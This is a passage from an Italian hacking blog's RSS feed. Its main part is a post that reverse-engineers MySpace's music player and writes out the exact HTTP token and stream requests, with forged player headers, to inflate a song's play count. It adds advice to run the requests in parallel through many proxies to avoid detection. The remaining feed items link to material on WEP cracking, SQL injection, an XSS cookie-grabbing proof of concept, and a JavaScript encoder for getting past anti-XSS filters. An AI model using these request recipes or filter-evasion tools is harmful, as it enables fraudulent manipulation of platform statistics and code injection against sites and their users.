<p>Richiedendo ai server myspace questa pagina, ovviamente verrÃ  scaricato l&#8217;html e il blocco del player flash, con dei parametri (le flashvars) molto importanti che ci serviranno in seguito, questi parametri si presentano nella forma :</p>
<blockquote>
<pre>...
<strong>plid=92912</strong> <span style="color: #ff0000;">&lt;--- id della playlist</span>
<strong>profid=454317278</strong> <span style="color: #ff0000;">&lt;--- id del profilo</span>
...
<strong>artid=19268119</strong> <span style="color: #ff0000;">&lt;--- id dell'artista </span>
...</pre>
</blockquote>
<p>Tramite questi parametri, iniziamo ad addentrarci nel protocollo vero e proprio che sfrutta il player di myspace per ottenere le informazioni rigurdanti la playlist &#8230; reversando tale sfw, ho verificato che le informazioni sulla playlist vengono richieste in formato xml e possono essere ottenute tramite la seguente richiesta :</p>
<blockquote><p><em>http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=<strong>{ID PROFILO}</strong>&amp;playlistId=<strong>{ID PLAYLIST}</strong>&amp;action=<strong>getArtistPlaylist</strong>&amp;artistId=<strong>{ID ARTISTA}</strong></em></p></blockquote>
<p>Quindi nel nostro profilo di esempio, l&#8217;url risulterÃ  essere :</p>
<blockquote><p><a href="http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=454317278&amp;playlistId=92912&amp;action=getArtistPlaylist&amp;artistId=19268119" target="_blank"><em>http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=<strong>454317278</strong>&amp;playlistId=<strong>92912</strong>&amp;action=getArtistPlaylist&amp;artistId=<strong>19268119</strong></em></a></p></blockquote>
<p>E con questo otteniamo un xml con le informazioni della playlist, traccia per traccia, compresi gli id di ogni canzone, le statistiche, eventuali immagini cover, etc etc etc &#8230; in particolare ci interessa l&#8217;attributo <strong>songId</strong> del nodo xml <strong>song</strong> della canzone che ci interessa, nel caso del mio profilo di esempio, l&#8217;xml relativo all&#8217;unica canzone che ho caricato risulta essere :</p>
<blockquote>
<pre><em>...
&lt;song <strong>songId</strong>="<strong>40916167</strong>"</em> ...
...</pre>
</blockquote>
<p>A questo punto, dobbiamo iniziare la procedura http che genererebbe un normale utente aprendo il profilo, caricando il player flash, richiedendo l&#8217;ascolto di una traccia e di conseguenza incrementando il valore di ascolto della stessa .</p>
<p>La gestione del tutto Ã¨ delegata al player swf e una volta reversato ho notato che la logica di ogni richiesta effettuata dal player stesso Ã¨ la seguente :</p>
<ul>
<li>Richiedo un nuovo &#8220;<strong>token</strong>&#8221; (un id alfanumerico che identifica ogni richiesta) di autorizzazione al server <strong>musicservices.myspace.com</strong> .</li>
<li>Richiedo al server <strong>profile.myspace.com</strong> di iniziare lo stream della traccia e successivamente di incrementarne le statistiche .</li>
</ul>
<p>Ovviamente le due richieste vengono eseguite in http tramite una serie di campi nell&#8217;header specifici, impostati dal player, che identificano in modo univoco il player rendendo &#8220;sicura&#8221; e &#8220;non riproducibile&#8221; (almeno secondo loro XD) tutta la transazione .</p>
<p>Analiziamo ora la prima richiesta, ovvero l&#8217;impostazione del nuovo token di autorizzazione verso l&#8217;host <strong>musicservices.myspace.com :</strong></p>
<blockquote>
<pre><strong>POST</strong> /Modules/MusicServices/Services/MusicPlayerService.ashx?action=<strong>getToken</strong> HTTP/1.0
<strong>Host</strong>: musicservices.myspace.com
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <strong>{USER AGENT DELL'UTENTE CHE VISITA IL PROFILO}</strong>
<strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Content-type</strong>: application/x-www-form-urlencoded
<strong>x-myspace-id</strong>: ownerId=<strong>{ID PROFILO}</strong>;contentId=<strong>{ID TRACCIA}</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream
<strong>Content-length</strong>: 16
<span style="color: #ff0000;"><em>service=tokennew</em></span><strong>
</strong></pre>
</blockquote>
<p>Quindi, una richiesta di esempio con Firefox e alla traccia del profilo che ho appositamente creato, risulterebbe :</p>
<blockquote>
<pre><strong>POST</strong> /Modules/MusicServices/Services/MusicPlayerService.ashx?action=<strong>getToken</strong> HTTP/1.0
<strong>Host</strong>: musicservices.myspace.com
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <span style="color: #ff0000;">Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1
</span><strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Content-type</strong>: application/x-www-form-urlencoded
<strong>x-myspace-id</strong>: ownerId=<strong>454317278</strong>;contentId=<strong>40916167</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream
<strong>Content-length</strong>: 16
<span style="color: #ff0000;"><em>service=tokennew</em></span><strong>
</strong></pre>
</blockquote>
<p>Il server a questo punto ci risponde con un xml del tipo :</p>
<blockquote>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;token&gt;<strong>N1jfEyw1SLA2E2s6qcFAxaqIdbqU5dC/47iDlNUVpPoZXXzWqgzrX8bxMZAS2Np/UGKFeb+bO8EEANKT6fSIatp9ueAK9oKrDpP90lCHlAI=</strong>&lt;/token&gt;</pre>
</blockquote>
<p>Dove la parte in grassetto identifica il famoso token .</p>
<p><em><strong>Una piccola nota</strong>: Ai fini del nostro obiettivo, cioÃ¨ incrementare le statistiche di una canzone, NON Ã¨ importante ritrasmettere questo token nella richiesta successiva, ma Ã¨ OBBLIGATORIO richiederlo per ogni streaming simulato, poichÃ¨ da quel punto in poi il server contrassegnerÃ  il nostro indirizzo ip come &#8220;autorizzato&#8221; ad ascoltare la canzone, per poi cancellare tale autorizzazione alla richiesta successiva .</em></p>
<p>Detto questo, possiamo procedere con la seconda richiesta, ovvero l&#8217;inizializzazione dello streaming vero e proprio, che aumenterÃ  le statistiche della canzone richiesta :</p>
<blockquote>
<pre><strong>GET</strong> /index.cfm?fuseaction=user.viewprofile&amp;friendID=<strong>{ID PROFILO}</strong> HTTP/1.0
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <strong>{USER AGENT DELL'UTENTE CHE VISITA IL PROFILO}</strong>
<strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Host</strong>: profile.myspace.com
<strong>x-myspace-id</strong>: ownerId=<strong>{ID ARTISTA}</strong>;contentId=<strong>{ID TRACCIA}</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream</pre>
</blockquote>
<p>Quindi nel nostro caso la richiesta appare come :</p>
<blockquote>
<pre><strong>GET</strong> /index.cfm?fuseaction=user.viewprofile&amp;friendID=<strong>454317278</strong> HTTP/1.0
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <span style="color: #ff0000;">Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1</span><strong>
Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Host</strong>: profile.myspace.com
<strong>x-myspace-id</strong>: ownerId=<strong>19268119</strong>;contentId=<em><strong>40916167</strong></em>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream</pre>
</blockquote>
<p>Ed in seguito a questa richiesta il server incrementerÃ  le statistiche della canzone ^^ .</p>
<p>Ovviamente, per chi volesse realizzare un applicazione che incrementasse le stats in modo consistente, dovrebbe instaurare parecchie richieste in parallelo (threads rule <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ), possibilmente utilizzando una lista di proxy http abbastanza corposa da utilizzare singolarmente per ogni richiesta http .</p>
<blockquote>
<pre><strong>

</strong></pre>
</blockquote>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=731">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=731&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/70/realtime-source-auditing.html' rel='bookmark' title='Permanent Link: Realtime Source Auditing'>Realtime Source Auditing</a></li>
<li><a href='http://www.evilsocket.net/78/syn-scanning.html' rel='bookmark' title='Permanent Link: Syn Scanning'>Syn Scanning</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WEP Cracking</title>
		<link>http://www.evilsocket.net/82/wep-cracking.html</link>
		<comments>http://www.evilsocket.net/82/wep-cracking.html#comments</comments>
		<pubDate>Wed, 13 May 2009 07:44:58 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[kismet]]></category>
		<category><![CDATA[Wardriving]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wep cracking]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=82</guid>
		<description><![CDATA[Un paper nel quale illustro le tecniche e gli strumenti basilari necessari per crackare la chiave WEP di una rete wifi . Scarica Related posts:Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi Script per il calcolo della chiave WPA dei router FastWeb Pirelli.


Related posts:<ol><li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
<li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Un paper nel quale illustro le tecniche e gli strumenti basilari necessari per crackare la chiave WEP di una rete wifi .</p>
<p><a href="http://www.evilsocket.net/papers/ww.pdf" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=82">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=82&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
<li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/82/wep-cracking.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introduction to SQL Injections</title>
		<link>http://www.evilsocket.net/74/introduction-to-sql-injections.html</link>
		<comments>http://www.evilsocket.net/74/introduction-to-sql-injections.html#comments</comments>
		<pubDate>Wed, 13 May 2009 07:37:37 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=74</guid>
		<description><![CDATA[Un introduzione sufficientemente completa alla tecnica di iniezione di codice SQL, solitamente nota come SQL Injection, al fine di capire come sfruttare tale vulnerabilitÃ  per garantirsi l&#8217;accesso ad informazioni sensibili . Scarica Related posts:iScan Tecniche avanzate di SQL Injection, quello che non tutti sanno! PHP Hacking &#038; Prevention


Related posts:<ol><li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html' rel='bookmark' title='Permanent Link: Tecniche avanzate di SQL Injection, quello che non tutti sanno!'>Tecniche avanzate di SQL Injection, quello che non tutti sanno!</a></li>
<li><a href='http://www.evilsocket.net/68/php-hacking-prevention.html' rel='bookmark' title='Permanent Link: PHP Hacking &#038; Prevention'>PHP Hacking &#038; Prevention</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Un introduzione sufficientemente completa alla tecnica di iniezione di codice SQL, solitamente nota come SQL Injection, al fine di capire come sfruttare tale vulnerabilitÃ  per garantirsi l&#8217;accesso ad informazioni sensibili .</p>
<p><a href="http://www.evilsocket.net/papers/sqlinjections.pdf" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=74">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=74&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html' rel='bookmark' title='Permanent Link: Tecniche avanzate di SQL Injection, quello che non tutti sanno!'>Tecniche avanzate di SQL Injection, quello che non tutti sanno!</a></li>
<li><a href='http://www.evilsocket.net/68/php-hacking-prevention.html' rel='bookmark' title='Permanent Link: PHP Hacking &#038; Prevention'>PHP Hacking &#038; Prevention</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/74/introduction-to-sql-injections.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP Hacking &amp; Prevention</title>
		<link>http://www.evilsocket.net/68/php-hacking-prevention.html</link>
		<comments>http://www.evilsocket.net/68/php-hacking-prevention.html#comments</comments>
		<pubDate>Wed, 13 May 2009 07:31:20 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[php hacking]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[safe code]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=68</guid>
		<description><![CDATA[Purtroppo non tutti coloro che si proclamano web developers sanno quanto una loro svista possa essere fatale per la sicurezza delle loro web applications, cosÃ¬ ecco alcuni piccoli accorgimenti da seguire per mettere in sicurezza il proprio codice PHP dalle falle piÃ¹ comunemente sfruttate. Scarica Related posts:Introduction to SQL Injections Javascript Encoder iScan


Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Purtroppo non tutti coloro che si proclamano web developers sanno quanto una loro svista possa essere fatale per la sicurezza delle loro web applications, cosÃ¬ ecco alcuni piccoli accorgimenti da seguire per mettere in sicurezza il proprio codice PHP dalle falle piÃ¹ comunemente sfruttate.</p>
<p><a href="http://www.evilsocket.net/papers/phpacaro.pdf" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=68">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=68&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/68/php-hacking-prevention.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Hacking</title>
		<link>http://www.evilsocket.net/64/google-hacking.html</link>
		<comments>http://www.evilsocket.net/64/google-hacking.html#comments</comments>
		<pubDate>Wed, 13 May 2009 07:27:17 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[cookie grabber]]></category>
		<category><![CDATA[google hacking]]></category>
		<category><![CDATA[goole]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=64</guid>
		<description><![CDATA[Un video proof of concept nel quale mostro come anche Google, da molti ritenuto una delle infrastrutture piÃ¹ sicure al mondo, presenta tutta via delle &#8220;falle&#8221; che potrebbero mettere a repentaglio la sicurezza di milioni di utenti . Scarica Related posts:Come hackerare Google e rimanere indisturbato per un anno. MySpace Protocol Reversing &#8211; Band Auto [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html' rel='bookmark' title='Permanent Link: Come hackerare Google e rimanere indisturbato per un anno.'>Come hackerare Google e rimanere indisturbato per un anno.</a></li>
<li><a href='http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html' rel='bookmark' title='Permanent Link: MySpace Protocol Reversing &#8211; Band Auto Clicker'>MySpace Protocol Reversing &#8211; Band Auto Clicker</a></li>
<li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Un video proof of concept nel quale mostro come anche Google, da molti ritenuto una delle infrastrutture piÃ¹ sicure al mondo, presenta tutta via delle &#8220;falle&#8221; che potrebbero mettere a repentaglio la sicurezza di milioni di utenti .</p>
<p><a href="http://www.evilsocket.net/papers/noia_o_schifio.tar.gz" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=64">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=64&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html' rel='bookmark' title='Permanent Link: Come hackerare Google e rimanere indisturbato per un anno.'>Come hackerare Google e rimanere indisturbato per un anno.</a></li>
<li><a href='http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html' rel='bookmark' title='Permanent Link: MySpace Protocol Reversing &#8211; Band Auto Clicker'>MySpace Protocol Reversing &#8211; Band Auto Clicker</a></li>
<li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/64/google-hacking.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iScan</title>
		<link>http://www.evilsocket.net/46/iscan.html</link>
		<comments>http://www.evilsocket.net/46/iscan.html#comments</comments>
		<pubDate>Wed, 13 May 2009 06:54:49 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[iscan]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=46</guid>
		<description><![CDATA[Scanner di vulnerabilitÃ  web simil-acunetix opensource, multipiattaforma (Ã¨ scritto in java) e con qualche accorgimento in piÃ¹ rispetto ai normali scanner in console ormai decisamente datati . Il database dei pattern di ricerca delle vulnerabilitÃ  consiste in un file xml che puÃ² essere facilmente modificato, ampliato e/o eventualmente adattato alle proprie necessitÃ  . Scarica Related [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
<li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/34/shellcode-generator.html' rel='bookmark' title='Permanent Link: Shellcode Generator'>Shellcode Generator</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Scanner di vulnerabilitÃ  web simil-acunetix opensource, multipiattaforma (Ã¨ scritto in java) e con qualche accorgimento in piÃ¹ rispetto ai normali scanner in console ormai decisamente datati .</p>
<p>Il database dei pattern di ricerca delle vulnerabilitÃ  consiste in un file xml che puÃ² essere facilmente modificato, ampliato e/o eventualmente adattato alle proprie necessitÃ  .</p>
<p><a href="http://www.evilsocket.net/sources/iScan_0.1beta.zip" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=46">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=46&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/40/javascript-encoder.html' rel='bookmark' title='Permanent Link: Javascript Encoder'>Javascript Encoder</a></li>
<li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/34/shellcode-generator.html' rel='bookmark' title='Permanent Link: Shellcode Generator'>Shellcode Generator</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/46/iscan.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript Encoder</title>
		<link>http://www.evilsocket.net/40/javascript-encoder.html</link>
		<comments>http://www.evilsocket.net/40/javascript-encoder.html#comments</comments>
		<pubDate>Wed, 13 May 2009 06:47:49 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[javascript encoder]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=40</guid>
		<description><![CDATA[Utility che codifica del javascript in una forma &#8220;non filtrabile&#8221; da svariati sistemi di protezione anti xss, csrf, etc etc etc che puÃ² tornare utile nel caso si voglia iniettare del codice client-side in giro per la rete Scarica Related posts:iScan PHP Hacking &#038; Prevention Introduction to SQL Injections


Related posts:<ol><li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/68/php-hacking-prevention.html' rel='bookmark' title='Permanent Link: PHP Hacking &#038; Prevention'>PHP Hacking &#038; Prevention</a></li>
<li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Utility che codifica del javascript in una forma &#8220;non filtrabile&#8221; da svariati sistemi di protezione anti xss, csrf, etc etc etc che puÃ² tornare utile nel caso si voglia iniettare del codice client-side in giro per la rete <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://www.evilsocket.net/sources/jsencode.php.txt" target="_blank">Scarica</a></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=40">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=40&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/68/php-hacking-prevention.html' rel='bookmark' title='Permanent Link: PHP Hacking &#038; Prevention'>PHP Hacking &#038; Prevention</a></li>
<li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/40/javascript-encoder.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
